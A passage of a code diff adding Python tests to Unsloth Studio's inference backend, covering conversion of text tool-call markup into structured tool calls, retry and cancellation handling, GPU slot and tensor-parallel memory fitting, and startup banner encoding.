+        if isinstance(chunk, bytes):
+            chunk = chunk.decode()
+        for line in str(chunk).splitlines():
+            if line.startswith("data: "):
+                data = line.removeprefix("data: ")
+                if data != "[DONE]":
+                    out.append(json.loads(data))
+    return out
+
+
+# ── Non-streaming ─────────────────────────────────────────────────
+
+
+def test_xml_healed_to_tool_calls_non_streaming(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["content"] is None
+    calls = choice["message"]["tool_calls"]
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "lookup"
+    assert json.loads(calls[0]["function"]["arguments"]) == {"q": "cats"}
+    # The client tools reached the generator (template injection).
+    assert backend.calls[0]["tools"] == [LOOKUP_TOOL]
+
+
+def test_undeclared_call_stays_text(monkeypatch):
+    xml = '<tool_call>{"name": "other", "arguments": {}}</tool_call>'
+    backend = _ScriptedBackend(_fixed(xml))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+    assert choice["message"]["content"] == xml
+
+
+def test_opt_out_relays_verbatim(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, auto_heal_tool_calls = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+    assert choice["message"]["content"] == _CALL_XML
+
+
+def test_env_kill_switch_relays_verbatim(monkeypatch):
+    import core.inference.passthrough_healing as ph
+
+    monkeypatch.setattr(ph, "_HEALING_DISABLED", True)
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+    assert choice["message"]["content"] == _CALL_XML
+
+
+def test_no_tools_request_untouched(monkeypatch):
+    backend = _ScriptedBackend(_fixed("just a plain answer"))
+    payload = _request(stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    # No tools and no tool messages -> plain path, normal ChatCompletion.
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"]["content"] == "just a plain answer"
+    assert choice["message"].get("tool_calls") is None
+
+
+def test_prose_around_call_retained(monkeypatch):
+    text = "Let me look:\n" + _CALL_XML + "\ndone"
+    backend = _ScriptedBackend(_fixed(text))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["content"] == "Let me look:\n\ndone"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup"
+
+
+def test_empty_output_is_valid_stop(monkeypatch):
+    backend = _ScriptedBackend(_fixed(""))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"]["content"] in ("", None)
+    assert choice["message"].get("tool_calls") is None
+
+
+def test_tool_role_follow_up_turn_preserves_history(monkeypatch):
+    backend = _ScriptedBackend(_fixed("The weather is sunny."))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "weather?"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": '{"q": "weather"}'},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "sunny"),
+        ],
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "The weather is sunny."
+    # The tool history reached the generator intact (role=tool + assistant.tool_calls).
+    sent = backend.calls[0]["messages"]
+    roles = [m["role"] for m in sent]
+    assert "tool" in roles
+    assistant = next(m for m in sent if m["role"] == "assistant")
+    assert assistant.get("tool_calls")
+
+
+def test_dict_arguments_history_does_not_crash(monkeypatch):
+    # Non-spec client: assistant tool_calls[].function.arguments as a dict.
+    backend = _ScriptedBackend(_fixed("ok"))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "hi"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": {"q": "x"}},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "y"),
+        ],
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "ok"
+
+
+def test_forced_tool_choice_narrows_promotion(monkeypatch):
+    # tool_choice forces `search`; a `lookup` text call must NOT promote.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(
+        tools = [LOOKUP_TOOL, SEARCH_TOOL],
+        stream = False,
+        tool_choice = {"type": "function", "function": {"name": "search"}},
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+
+
+def test_parallel_cap_non_streaming(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML + _SEARCH_XML))
+    payload = _request(tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = False, parallel_tool_calls = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    calls = body["choices"][0]["message"]["tool_calls"]
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "lookup"
+
+
+def test_usage_recorded_when_stats_present(monkeypatch):
+    stats = {"usage": {"prompt_tokens": 7, "completion_tokens": 3, "total_tokens": 10}}
+    backend = _ScriptedBackend(_fixed(_CALL_XML), stats = stats)
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    asyncio.run(_run())
+    [entry] = monitor.snapshot()
+    assert entry["prompt_tokens"] == 7
+    assert entry["completion_tokens"] == 3
+
+
+# ── Nudge ─────────────────────────────────────────────────────────
+
+
+def test_nudge_default_off_single_generation(monkeypatch):
+    # Signal present but unparseable; without opt-in, no retry.
+    truncated = '<tool_call>{"name": "lookup"'
+    backend = _ScriptedBackend(_fixed(truncated))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    _call(payload, monkeypatch, backend)
+    assert len(backend.calls) == 1
+
+
+def test_nudge_opt_in_retry_recovers(monkeypatch):
+    truncated = '<tool_call>{"name": "lookup"'
+
+    def responder(messages, tools):
+        nudged = any(
+            "native tool-call format" in (m.get("content") or "")
+            for m in messages
+            if m.get("role") == "user"
+        )
+        return [_CALL_XML] if nudged else [truncated]
+
+    backend = _ScriptedBackend(responder)
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, nudge_tool_calls = True)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert len(backend.calls) == 2
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup"
+
+
+def test_nudge_double_failure_relays_original(monkeypatch):
+    truncated = '<tool_call>{"name": "lookup"'
+    backend = _ScriptedBackend(_fixed(truncated))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, nudge_tool_calls = True)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert len(backend.calls) == 2  # exactly one retry
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"]["content"] == truncated
+
+
+# ── Streaming ─────────────────────────────────────────────────────
+
+
+def test_streaming_heals_split_call_into_one_delta(monkeypatch):
+    # Cumulative snapshots that build the call across many increments.
+    pieces = ["<tool", '<tool_call>{"name": "loo', '<tool_call>{"name": "lookup", "argum']
+    cumulative = pieces + [_CALL_XML]
+    backend = _ScriptedBackend(_fixed(*cumulative))
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert len(tool_deltas) == 1
+    assert tool_deltas[0]["function"]["name"] == "lookup"
+    finishes = [
+        o["choices"][0]["finish_reason"]
+        for o in objs
+        if o["choices"] and o["choices"][0].get("finish_reason")
+    ]
+    assert finishes == ["tool_calls"]
+
+
+def test_streaming_cancel_does_not_finalize_tool_call(monkeypatch):
+    # A stream cancelled via the registry ("Stop") must NOT promote the
+    # buffered-but-unclosed tool markup at finalize, else it executes a tool
+    # the user just cancelled. Guarded on cancel_event at the finalize step.
+    import routes.inference as inf
+
+    cancel_id = "cancel-me-6870"
+    # Balanced JSON but no closing </tool_call> -> healer HOLDS it until finalize.
+    held = '<tool_call>{"name": "lookup", "arguments": {"q": "cats"}}'
+
+    class _CancelMidStream(_ScriptedBackend):
+        def __init__(self):
+            super().__init__(_fixed(held))
+
+        def generate_chat_response(
+            self,
+            *,
+            messages,
+            tools = None,
+            stats_holder = None,
+            **kwargs,
+        ):
+            self.calls.append({"messages": messages, "tools": tools, **kwargs})
+            yield held  # healer holds the unclosed call
+            inf._cancel_by_cancel_id_or_stash(cancel_id)  # user hits Stop before EOF
+
+    backend = _CancelMidStream()
+    payload = _request(tools = [LOOKUP_TOOL], stream = True, cancel_id = cancel_id)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert tool_deltas == []  # no tool promoted after cancel
+    finishes = [
+        o["choices"][0]["finish_reason"]
+        for o in objs
+        if o["choices"] and o["choices"][0].get("finish_reason")
+    ]
+    assert "tool_calls" not in finishes  # ends with finish_reason=stop, not tool_calls
+
+
+def test_streaming_no_tools_verbatim(monkeypatch):
+    backend = _ScriptedBackend(_fixed("hello ", "hello world"))
+    payload = _request(stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    text = "".join(
+        (o["choices"][0]["delta"].get("content") or "")
+        for o in objs
+        if o["choices"] and "delta" in o["choices"][0]
+    )
+    assert text == "hello world"
+    finishes = [
+        o["choices"][0]["finish_reason"]
+        for o in objs
+        if o["choices"] and o["choices"][0].get("finish_reason")
+    ]
+    assert finishes == ["stop"]
+
+
+def test_streaming_repeated_snapshot_no_duplicate_call(monkeypatch):
+    # Repeated then shrunk cumulative snapshots must not double-heal.
+    backend = _ScriptedBackend(_fixed(_CALL_XML, _CALL_XML, _CALL_XML[:5], _CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert len(tool_deltas) == 1
+
+
+def test_streaming_parallel_cap(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML + _SEARCH_XML))
+    payload = _request(tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = True, parallel_tool_calls = False)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert len(tool_deltas) == 1
+    assert tool_deltas[0]["function"]["name"] == "lookup"
+
+
+def test_streaming_generator_error_closes_cleanly(monkeypatch):
+    def responder(messages, tools):
+        raise RuntimeError("boom /secret/path")
+
+    backend = _ScriptedBackend(responder)
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    response = _call(payload, monkeypatch, backend)
+    chunks = _collect_sse(response)
+    joined = "".join(c.decode() if isinstance(c, bytes) else c for c in chunks)
+    assert "An internal error occurred" in joined
+    assert "secret/path" not in joined  # CWE-209: no path leak
+    assert backend.reset_count >= 1
+
+
+def test_streaming_disconnect_resets_once(monkeypatch):
+    class _DisconnectRequest(_Request):
+        async def is_disconnected(self):
+            return True
+
+    backend = _ScriptedBackend(_fixed("a", "ab", "abc"))
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    _install(monkeypatch, backend)
+
+    async def _run():
+        resp = await openai_chat_completions(
+            payload, request = _DisconnectRequest(), current_subject = "u"
+        )
+        return [c async for c in resp.body_iterator]
+
+    asyncio.run(_run())
+    assert backend.reset_count == 1
+
+
+def test_mlx_uses_same_path(monkeypatch):
+    # MLX and safetensors share get_inference_backend(); one scripted backend covers both.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["finish_reason"] == "tool_calls"
+
+
+def test_tool_choice_none_does_not_advertise_tools(monkeypatch):
+    # tool_choice="none": no tools rendered into the template; history templating still applies.
+    backend = _ScriptedBackend(_fixed("plain answer"))
+    payload = _request(tools = [LOOKUP_TOOL], tool_choice = "none", stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "plain answer"
+    assert backend.calls[0]["tools"] is None
+
+
+def test_developer_message_folded_into_system_prompt(monkeypatch):
+    # The "developer" role folds into one leading system message (local templates reject it).
+    backend = _ScriptedBackend(_fixed("ok"))
+    payload = _request(
+        messages = [
+            ChatMessage(role = "developer", content = "always be terse"),
+            ChatMessage(role = "user", content = "hi"),
+        ],
+        tools = [LOOKUP_TOOL],
+        stream = False,
+    )
+    _call(payload, monkeypatch, backend)
+    sent = backend.calls[0]["messages"]
+    assert sent[0]["role"] == "system"
+    assert "always be terse" in sent[0]["content"]
+    assert all(m.get("role") != "developer" for m in sent)
+
+
+def test_failed_nudge_retry_keeps_original_response(monkeypatch):
+    # A raising retry must not 500; the first response is returned.
+    state = {"n": 0}
+
+    def responder(messages, tools):
+        state["n"] += 1
+        if state["n"] == 1:
+            return ['<tool_call>{"name":"lookup"']  # unhealable signal
+        raise RuntimeError("retry blew up")
+
+    backend = _ScriptedBackend(responder)
+    payload = _request(tools = [LOOKUP_TOOL], nudge_tool_calls = True, stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert state["n"] == 2
+    assert body["choices"][0]["finish_reason"] == "stop"
+    assert body["choices"][0]["message"]["content"] == '<tool_call>{"name":"lookup"'
+
+
+def test_discarded_nudge_retry_reports_first_attempt_usage(monkeypatch):
+    # Double-failure nudge: the first response is delivered, but the retry's
+    # generate() overwrites stats_holder. The monitor must record the FIRST
+    # attempt's usage, not the discarded retry's.
+    first_stats = {"usage": {"prompt_tokens": 7, "completion_tokens": 3, "total_tokens": 10}}
+    retry_stats = {"usage": {"prompt_tokens": 99, "completion_tokens": 99, "total_tokens": 198}}
+
+    class _PerCallStatsBackend(_ScriptedBackend):
+        def __init__(self):
+            # Unhealable truncated markup on both attempts -> retry is discarded.
+            super().__init__(lambda m, t: ['<tool_call>{"name":"lookup"'])
+            self._stats_seq = [first_stats, retry_stats]
+
+        def generate_chat_response(
+            self,
+            *,
+            messages,
+            tools = None,
+            stats_holder = None,
+            **kwargs,
+        ):
+            self.calls.append({"messages": messages, "tools": tools, **kwargs})
+            stats = self._stats_seq[min(len(self.calls) - 1, len(self._stats_seq) - 1)]
+            if stats_holder is not None:
+                stats_holder["stats"] = stats
+            for snap in self._responder(messages, tools):
+                yield snap
+
+    backend = _PerCallStatsBackend()
+    payload = _request(tools = [LOOKUP_TOOL], nudge_tool_calls = True, stream = False)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    asyncio.run(_run())
+    assert len(backend.calls) == 2  # first attempt + one discarded retry
+    [entry] = monitor.snapshot()
+    # The delivered response is the first attempt, so its usage must be reported.
+    assert entry["prompt_tokens"] == 7
+    assert entry["completion_tokens"] == 3
+
+
+def test_monitor_records_healed_call_not_raw_xml(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    asyncio.run(_run())
+    snap = monitor.snapshot(include_details = True)
+    replies = json.dumps(snap)
+    assert "<tool_call>" not in replies
+    assert "lookup" in replies
+
+
+def test_streaming_monitor_records_healed_call_not_raw_xml(monkeypatch):
+    # Monitor mirrors what the client received, never the healed-away raw markup.
+    backend = _ScriptedBackend(
+        _fixed("Sure. ", 'Sure. <tool_call>{"name": "loo', "Sure. " + _CALL_XML)
+    )
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    response = asyncio.run(_run())
+    _collect_sse(response)
+    replies = json.dumps(monitor.snapshot(include_details = True))
+    assert "<tool_call>" not in replies
+    assert "Sure. " in replies
+    assert "[tool_calls] lookup(" in replies
+
+
+def test_forced_tool_choice_narrows_templated_tools(monkeypatch):
+    # A forced function is the only schema rendered into the template.
+    backend = _ScriptedBackend(_fixed(_SEARCH_XML))
+    payload = _request(
+        tools = [LOOKUP_TOOL, SEARCH_TOOL],
+        stream = False,
+        tool_choice = {"type": "function", "function": {"name": "search"}},
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    templated = backend.calls[0]["tools"]
+    assert [t["function"]["name"] for t in templated] == ["search"]
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "search"
+
+
+def test_multimodal_content_parts_flattened_for_local_template(monkeypatch):
+    # Remote image URLs leave image=None, so content arrives as a part LIST:
+    # text parts are kept, the image part dropped.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(
+        messages = [
+            ChatMessage(
+                role = "user",
+                content = [
+                    {"type": "text", "text": "what is this?"},
+                    {
+                        "type": "image_url",
+                        "image_url": {"url": "https://example.com/cat.png"},
+                    },
+                ],
+            )
+        ],
+        tools = [LOOKUP_TOOL],
+        stream = False,
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    templated = backend.calls[0]["messages"]
+    assert all(isinstance(m.get("content"), str) for m in templated)
+    assert any(m["content"] == "what is this?" for m in templated)
+    assert body["choices"][0]["finish_reason"] == "tool_calls"
+
+
+def test_string_arguments_history_deserialized_for_template(monkeypatch):
+    # JSON-string tool_calls arguments become dicts in the templated copy;
+    # the HTTP response stays OpenAI-shaped.
+    backend = _ScriptedBackend(_fixed("done"))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "weather?"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": '{"q": "weather"}'},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "sunny"),
+        ],
+    )
+    _json_body(_call(payload, monkeypatch, backend))
+    assistant = next(m for m in backend.calls[0]["messages"] if m["role"] == "assistant")
+    assert assistant["tool_calls"][0]["function"]["arguments"] == {"q": "weather"}
+
+
+def test_unparseable_arguments_string_left_untouched(monkeypatch):
+    backend = _ScriptedBackend(_fixed("ok"))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "hi"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": "not json {"},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "y"),
+        ],
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "ok"
+    assistant = next(m for m in backend.calls[0]["messages"] if m["role"] == "assistant")
+    assert assistant["tool_calls"][0]["function"]["arguments"] == "not json {"
+
+
+def test_mcp_enabled_without_server_tools_uses_passthrough(monkeypatch):
+    # mcp_enabled=true with an empty registry must not silently drop the
+    # declared tools; the gate keys on the server-side path claiming the request.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, mcp_enabled = True)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup"
+    assert backend.calls[0]["tools"] == [LOOKUP_TOOL]
diff --git a/studio/backend/tests/test_slot_offload_fit.py b/studio/backend/tests/test_slot_offload_fit.py
new file mode 100644
index 0000000000..ac606e4627
--- /dev/null
+++ b/studio/backend/tests/test_slot_offload_fit.py
@@ -0,0 +1,115 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the offload-avoidance serving-slot reduction (`_slots_that_fit_on_gpu`).
+
+When a pinned context does not fit at the requested `--parallel` slot count, Studio would
+flip to `--fit on` and llama-server offloads layers to host RAM, collapsing decode ~3x
+(oobabooga #6718). Instead the loader retries the on-GPU fit at fewer slots and keeps the
+largest count that stays fully on GPU (`-ngl -1`). These tests drive the real helper with
+synthetic VRAM maps; the KV term is mocked so totals are controlled and the reduction logic
+is asserted directly (no GPU, network, or subprocess).
+"""
+
+from __future__ import annotations
+
+import sys
+import types as _types
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+from core.inference.llama_cpp import LlamaCppBackend
+
+MIB = 1024 * 1024
+CTX = 90624
+FRAC = LlamaCppBackend._GPU_PIN_VRAM_FRACTION  # 0.97; usable = free - 0.03*total
+
+
+def _backend(
+    vocab = 248320,
+    embd = 5120,
+    kv_fixed_mib = 0,
+):
+    """Backend with the dims the compute buffer reads; KV mocked to a fixed size so the
+    only slot-dependent term is the compute buffer (485 MiB/slot f32 output x 1.15)."""
+    b = LlamaCppBackend.__new__(LlamaCppBackend)
+    b._vocab_size = vocab
+    b._embedding_length = embd
+    b._key_length_mla = None
+    b._estimate_kv_cache_bytes = lambda ctx, t = None, **k: kv_fixed_mib * MIB
+    b._can_estimate_kv = lambda: True
+    return b
+
+
+def _run(
+    b,
+    n_parallel,
+    base_mib,
+    gpus,
+    total_by_idx,
+    overhead_mib = 0,
+):
+    return b._slots_that_fit_on_gpu(
+        n_parallel,
+        CTX,
+        gpus,
+        total_by_idx,
+        int(base_mib * MIB),
+        "q8_0",
+        FRAC,
+        int(overhead_mib * MIB),
+        1,
+        512,
+    )
+
+
+class TestSlotsThatFitOnGpu:
+    """Compute-buffer per slot (vocab 248320, embd 5120): cb(1)=46, cb(2)=604, cb(3)=1162,
+    cb(4)=1719 MiB. Single 24 GB card usable = 24576 - 0.03*24576 = 23839 MiB."""
+
+    def test_reduces_to_largest_fitting_slot(self):
+        # base+KV = 22500: par4 (24219) over 23839, par3 (23662) fits -> 3 slots on GPU.
+        gi, use_fit, slots = _run(_backend(), 4, 22500, [(0, 24576)], {0: 24576})
+        assert use_fit is False and gi == [0] and slots == 3
+
+    def test_floor_when_only_one_slot_fits(self):
+        # base 23400: par2 (24004) over, par1 (23446) fits -> drop all the way to 1.
+        gi, use_fit, slots = _run(_backend(), 4, 23400, [(0, 24576)], {0: 24576})
+        assert use_fit is False and gi == [0] and slots == 1
+
+    def test_none_fit_stays_offload(self):
+        # Even a single slot (24046) exceeds usable -> genuine offload, unchanged.
+        gi, use_fit, slots = _run(_backend(), 4, 24000, [(0, 24576)], {0: 24576})
+        assert use_fit is True and gi is None and slots == 4
+
+    def test_roomy_would_keep_all_but_helper_only_reduces(self):
+        # On a roomy card par4 fits, so load_model never calls this helper; if called it
+        # still only searches < n_parallel and never raises the count above the request.
+        gi, use_fit, slots = _run(_backend(), 4, 5000, [(0, 183000)], {0: 183000})
+        assert use_fit is False and slots == 3 and slots < 4
+
+    def test_single_slot_request_is_noop(self):
+        # n_parallel == 1: nothing to reduce (range empty) -> report offload unchanged.
+        gi, use_fit, slots = _run(_backend(), 1, 22500, [(0, 24576)], {0: 24576})
+        assert use_fit is True and gi is None and slots == 1
+
+    def test_multi_gpu_reduces_across_devices(self):
+        # Needs 2 GPUs: usable/GPU = 23839, cumulative 47677. base+KV 46200: par4 (47919)
+        # over, par3 (47362) fits across both -> 3 slots spanning [0, 1].
+        gi, use_fit, slots = _run(
+            _backend(), 4, 46200, [(0, 24576), (1, 24576)], {0: 24576, 1: 24576}
+        )
+        assert use_fit is False and gi == [0, 1] and slots == 3
+
+    def test_kv_counted_per_candidate(self):
+        # A non-zero (slot-independent) KV shifts the threshold: with 3000 MiB KV and
+        # base 19500 (= 22500 total at par-independent terms) the same par3 fit holds.
+        gi, use_fit, slots = _run(_backend(kv_fixed_mib = 3000), 4, 19500, [(0, 24576)], {0: 24576})
+        assert use_fit is False and slots == 3
diff --git a/studio/backend/tests/test_startup_banner_loopback.py b/studio/backend/tests/test_startup_banner_loopback.py
index e82b741a7b..c8875bf5db 100644
--- a/studio/backend/tests/test_startup_banner_loopback.py
+++ b/studio/backend/tests/test_startup_banner_loopback.py
@@ -5,6 +5,9 @@
 only for the exact loopback aliases, so any other bind (e.g. a specific LAN IP)
 must show its real address."""
 
+import io
+import sys
+
 import pytest
 
 from startup_banner import print_studio_access_banner
@@ -22,3 +25,41 @@ def test_non_alias_loopback_shows_real_address(capsys):
 def test_alias_loopback_shows_canned_url(capsys, host):
     print_studio_access_banner(port = 8891, bind_host = host, display_host = host)
     assert "http://127.0.0.1:8891" in capsys.readouterr().out
+
+
+def test_banner_prints_on_strict_cp1252_stdout(monkeypatch):
+    buf = io.BytesIO()
+    stdout = io.TextIOWrapper(buf, encoding = "cp1252", errors = "strict")
+    monkeypatch.setattr(sys, "stdout", stdout)
+
+    print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1")
+    stdout.flush()
+
+    out = buf.getvalue().decode("cp1252")
+    assert "? Unsloth Studio is running" in out
+
+
+def test_banner_print_fallback_handles_unknown_stdout_encoding(monkeypatch):
+    class InvalidEncodingStdout:
+        encoding = "not-a-real-codec"
+
+        def __init__(self):
+            self.buf = io.BytesIO()
+            self.inner = io.TextIOWrapper(self.buf, encoding = "cp1252", errors = "strict")
+
+        def write(self, text):
+            return self.inner.write(text)
+
+        def flush(self):
+            return self.inner.flush()
+
+        def getvalue(self):
+            self.flush()
+            return self.buf.getvalue().decode("cp1252")
+
+    stdout = InvalidEncodingStdout()
+    monkeypatch.setattr(sys, "stdout", stdout)
+
+    print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1")
+
+    assert "? Unsloth Studio is running" in stdout.getvalue()
diff --git a/studio/backend/tests/test_tensor_parallel.py b/studio/backend/tests/test_tensor_parallel.py
index 1248386020..0d71b89d87 100644
--- a/studio/backend/tests/test_tensor_parallel.py
+++ b/studio/backend/tests/test_tensor_parallel.py
@@ -554,6 +554,8 @@ def test_probe_mtp_decode_uses_api_key_auth(monkeypatch):
     backend._api_key = "secret"
     backend._probe_mtp_decode(timeout = 1.0)
     assert captured["headers"] == {"Authorization": "Bearer secret"}
+
+    assert captured["trust_env"] is False
     backend._api_key = None
     backend._probe_mtp_decode(timeout = 1.0)
     assert captured["headers"] is None
@@ -744,10 +746,14 @@ def test_tp_plan_weighted_split_on_asymmetric_big_model():
     b, (ec, mac, gi, ts) = _plan(50)
     reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
     assert gi == [0, 1]
-    # split weighted by (usable - buffer); with no totals usable is free*frac
+    # split weighted by (usable - flat buffer - per-device context compute); with
+    # no totals usable is free*frac. The per-device cc is subtracted so the smaller
+    # card isn't weighted above its real usable budget (see below).
+    cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024)
+    assert cc_per_dev > 0
     assert ts == [
-        int(48000 * _CTX_FIT_VRAM_FRACTION - reserve),
-        int(24000 * _CTX_FIT_VRAM_FRACTION - reserve),
+        int(48000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev),
+        int(24000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev),
     ]
     assert ec < 131072  # capped below native
 
@@ -817,6 +823,75 @@ def test_tp_plan_mtp_reserves_extra_and_shrinks_context():
     assert ec_mtp < ec_no
 
 
+def test_tp_plan_reserves_context_linear_compute_buffer():
+    # Tensor mode replicates the compute graph on every device; measured on
+    # Qwen3.5-9B at f16 the per-device buffer grows ~n_ubatch*2 B/token (~1024
+    # B/tok), so the fit must reserve n_dev x that on top of the flat reserve or
